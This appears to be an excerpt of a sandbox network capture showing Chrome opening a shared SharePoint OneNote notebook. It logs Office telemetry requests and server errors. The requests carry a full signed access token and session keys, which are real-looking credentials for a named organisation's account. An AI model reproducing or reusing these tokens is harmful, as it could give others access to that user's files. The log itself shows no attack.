537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00012CE7 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 50E761D0BE934801B069FE018B4259E6 Ref B: MIA301000101009 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:18 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49794	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	892	OUT	POST /o/RemoteUls.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&officeserverversion=20240424.1 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 545 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:19 UTC	545	OUT	Data Raw: 7b 22 54 22 3a 31 37 31 34 31 31 38 33 35 37 38 37 37 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 34 38 34 38 34 2c 22 54 22 3a 2d 35 2c 22 4d 22 3a 22 43 6f 75 6c 64 20 6e 6f 74 20 66 69 6e 64 20 4a 53 41 50 49 20 72 65 73 6f 75 72 63 65 20 74 69 6d 69 6e 67 20 65 6e 74 72 79 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 30 39 31 34 36 35 35 2c 22 54 22 3a 2d 35 2c 22 4d 22 3a 22 54 69 6d 65 20 73 70 65 6e 74 20 6c 6f 67 67 69 6e 67 3a 20 31 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 39 36 34 36 34 33 33 34 2c 22 54 22 3a 2d 35 2c 22 4d 22 3a 22 53 65 6e 64 69 6e 67 20 6d 65 73 73 61 67 65 3a 20 4a 73 41 70 69 44 69 61 67 6e 6f 73 74 69 63 73 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 2c Data Ascii: {"T":1714118357877,"L":[{"G":595948484,"T":-5,"M":"Could not find JSAPI resource timing entry","C":379,"D":50},{"G":590914655,"T":-5,"M":"Time spent logging: 1","C":379,"D":50},{"G":596464334,"T":-5,"M":"Sending message: JsApiDiagnostics","C":379,"D":50},
2024-04-26 07:59:19 UTC	4402	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: d668dc07-3e5d-4a48-b98a-1c951ed0171e X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00012F84 X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usigroups-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00012F84 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 87D2EB49D9B04564B69BB19E0944319A Ref B: MIA301000107021 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:19 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49799	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	594	OUT	GET /o/RemoteUls.ashx?build=16.0.17601.41008&waccluster=PUS6&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-04-26 07:59:19 UTC	4324	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 632aaff5-b52e-455b-8326-dafff590776b X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091BF X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: BB46AA47C239D54223A049EA42FF1E429533F0DD X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42815875,42857251,50406866,50431969,51451613,51504083,51667010,306230939,306978834,507327905,507339026,507364812,507520519,507520520,507539972,507539975,507539978,507557069,507564317,507588834,507618451,507650051,507775183,507785752,507785753,507840355,507867611,507892672,508117090,508117091,508123353,508130721,508134499,508134530,508143303,508302418,508359368,508630474,508822424,508826841,508893266,508905682,509096994,509137349,509203553,509437535,509743362,510252435,512278607,512278610,512278979,512313551,512329346,512329348,512329356,512522335,512522337,512522368,512550663,512550665,520737606,520737607,520926864,520926865,520979847,521007315,521749855,522840207,523572700,523613141,524105113,524150164,524883107,524883136,524883138,528225985,528607428,537150367,537151647,537155398,537159041,537159051,537159499,537167070,537169937,537170394,538542792,538543587,539075678,539874723,540378699,540378700,542700237,542994947,545783884,545821457,553927448,557077970,557322386,557389507,557670930,558735363,559423838,559424262,559486496,559760215,559760216,560550470,570507662,571549507,571786073,571786074,572298008,572823264,573691362,574468116,575157663,575157664,575157665,575157666,575157667,575157696,575157697,575157698,575157699,575157700,575157701,575157702,577295376,577626581,577831138,578164000,587862985,589101015,589101018,591684683,591729363,592183378,592237859,592259104,592556551,592843145,593780815,593838232,593862981,594134597,594396706,594830612,595137156,595359709,595359710,595714715,595895774,596115913,596444186,596464289,845836083,845836084,845836085,846166132,876178018,876178789,947352439,963472182,963915891,1630679666,1630679667,1633958006,1647605351,1647863416,1664576567,1698260075,1718235956,1765045358,1802139698,1986689397,1986689633,1986689647,1986748791,1986748793,1986749030,1986749288,1986749546,2004443760,2004444278,2004448354 X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-MIA30r5d&DC=PUS6&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091BF X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,2oge=afd_wordcapacity_3_control,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_wordcapacity_3_control,afd_excelslicetest_control X-MSEdge-Ref: Ref A: E9C1D0F90E994567927852EFF0EB5B63 Ref B: MIA301000107049 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:18 GMT Connection: close
2024-04-26 07:59:19 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49805	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	3613	OUT	GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-4275C7CD-9559-49B5-9E00-8913E67B2426&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f OrgIdSiteUrl: https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS6 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:20 UTC	1114	IN	HTTP/1.1 500 Internal Server Error Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 7fe7cdcc-9060-44d0-b3b0-2be3c48ef76c X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF0000DD5E X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF0000DD5E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_powerpointslice_control,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 9F277DDCA7A648F6919123892FEA54EF Ref B: MIA301000101037 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:19 GMT Connection: close
2024-04-26 07:59:20 UTC	1215	IN	Data Raw: 34 62 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 Data Ascii: 4b8<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500
2024-04-26 07:59:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49806	52.108.9.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:19 UTC	2142	OUT	GET /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Fusigroups%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fjs%5Fusigroups%5Fcom%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9%2EePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC%2DlGpxzBDH9%5FYJe9eXoQ3MIJgGNGZp5%5F8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx%5FuD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k%5FY8zjLO%2DAXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP%5FkPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg&access_token_ttl=1714154349045 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1
2024-04-26 07:59:20 UTC	1189	IN	HTTP/1.1 412 Precondition Failed Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 183c9c3a-96d6-4d11-a92b-aee8cd49e0b3 X-UserSessionId: 183c9c3a-96d6-4d11-a92b-aee8cd49e0b3 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: BN3PEPF000049DA X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS9 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-NewKey: kKvIYuqbvzGr9wMKZUl4yk82ST5557dXdFZVkqqgcgE=;zBEM3tzQOVqh/fQmMRe49HHj+gItg8iRnXtqztRkeFU=,638497151600572040 X-OFFICEFD: BN3PEPF000049DA X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: D6D0CD3B07804291AB9DF3F7D36120C8 Ref B: MIA301000108039 Ref C: 2024-04-26T07:59:19Z Date: Fri, 26 Apr 2024 07:59:19 GMT Connection: close
